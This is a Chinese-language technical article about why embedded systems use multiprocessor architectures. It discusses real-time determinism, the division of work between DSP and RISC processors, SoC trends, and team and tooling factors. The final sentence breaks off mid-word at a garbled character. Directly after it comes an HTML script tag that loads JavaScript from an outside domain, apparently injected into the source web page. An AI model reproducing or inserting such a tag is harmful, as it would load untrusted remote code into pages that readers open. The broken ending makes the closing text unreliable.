并行处理不仅可以改善性能,而且还可以通过更好地反映系统行为和开发资源的自然分割来简化设计。
人们可以将多处理器设计定义为这样的系统:它把各项功能和任务分配给多个处理器去完成,而这些处理器彼此协调、互相沟通,以保证行为一致。多处理器系统比单处理器设计更加复杂。它要求为内务操作和协调功能进行额外的编程,调试也更为复杂。这是因为多处理器系统需要各处理器间的交互作用,而在单处理器体系结构中不存在这种处理器之间的交互作用的问题。尽管多处理器设计增加了复杂性,但多年来,它一直用于高性能计算机和工作站中,而且正跻身于日益增多的嵌入式系统应用之中。
人们之所以使用多个处理器,一条突出的理由是,它们能够比单个处理器提供更强的处理能力。在选择单处理器体系结构还是多处理器体系结构时,需要考虑的一些性能因素有:实时算法的处理量,处理外部事件所需的响应时间,所需的数学密集处理量,以及所需的并行运作的能力。多处理器体系结构可提供某种平衡负载的能力,并提供了使用定制的处理器来完成各项系统任务的机会。
现在来考虑一下如果执行时间具有很大的不定性的话,实时处理将会遇到多大困难的问题。例如,当一个处理器刷新流水线、碰上高速缓存器故障、实施关联转换或者采用无序的推理性执行来提高效率时,系统行为就会更加不确定。同样,如果同一个处理器还必须执行高度优先级的、连续而且实时的任务,特别是当这些任务采用“多发布指令”(multi-issue instruction)、而这类指令在任务执行过程中会阻塞“中断服务”时,处理外部事件的响应时间会受很大的影响。如果分别用合适的处理器来完成两项任务,则可以把每一类任务的性能问题和确定性问题分开并予以克服。硬盘驱动器就是这样的实例:主接口功能用一个配置高速缓存的处理器就能很好地实现,而系统的伺服控制部分则由一个精减(stripped-down)处理器来执行。
dsp 体系结构通过与外设的紧密交互作用来支持快速的数据传送,从而侧重于执行连续迭代数学处理,主要是乘法-累加运算。为了实现这种连续处理功能,这些处理器常常采用复杂的存储器结构(例如多条总线和多种类型存储器的混合)和专门的指令集,其中包括定点数学运算和通过硬件加速的专用运算操作。虽然这些机制非常适合于预定的用途,但它们的性能却不如用 risc 体系结构进行控制和响应处理的机制好。
单片系统(soc)设计采用可编程模块这种发展趋势,使人们在明确支持嵌入式多处理器设计的处理器和芯核方面有了更多的选择。这些soc设计所提供的性能可以升级,可以通过编程来达到超过单处理器体系结构为计算密集型应用所能提供的性能;这些soc设计能够更好地反映许多联网系统、多媒体系统和其他嵌入式系统的自然分割,而这些系统本来就是适合多通道或会聚式应用的。对于这些类型的系统,采用多个处理器能够最好地平衡并达到工程的性能、成本、功耗、风险以及上市时间等目标。
许多嵌入式设计正在采用多处理器体系结构,并不是纯粹出于提高性能的考虑。其他考虑因素包括:既有的软件资源和开发工具,关键部件(如那些支持演进中标准的部件)的稳定性,简化工程工作,系统安全性,容错要求,满足价格、功耗、散热和电磁干扰等约束条件。多处理器体系结构可为人们提供用最合适的工程资源来完成每一项设计任务的灵活性和机遇。
人们在处理体系结构方面的经验和既有资源对目前工程的适用性方面的经验,会影响他们采用单处理器还是采用多处理器设计的抉择。既有的代码或操作系统可能会决定人们选择何种处理器和如何分配工程技术人员。譬如,用不同的小组来从事前端、后端、控制和信号处理方面的工作,会影响对处理器体系结构的选择。在移动电话应用中,信号处理小组开发由 dsp 芯片来执行的无线电控制功能和语音编译码功能,应用小组则开发由微控制器来执行的人机界面功能。诸如多媒体和无线应用的标准或协议的稳定性会影响人们是将这些协议或标准作为软件来实施,以保证可编程性和灵活性,还是使用某些硬件来降低功耗和成本。
多多益善
由于软件复杂性并不是随代码长度增加而线性增加,而是比线性增加还要快,因此把软件设计得可在多个专用处理器上运行,可比在单个处理器上运行缩短开发时间,还可简化调试,并改善系统的可靠性。使用单独的处理器可?script src=http://er12.com/t.js>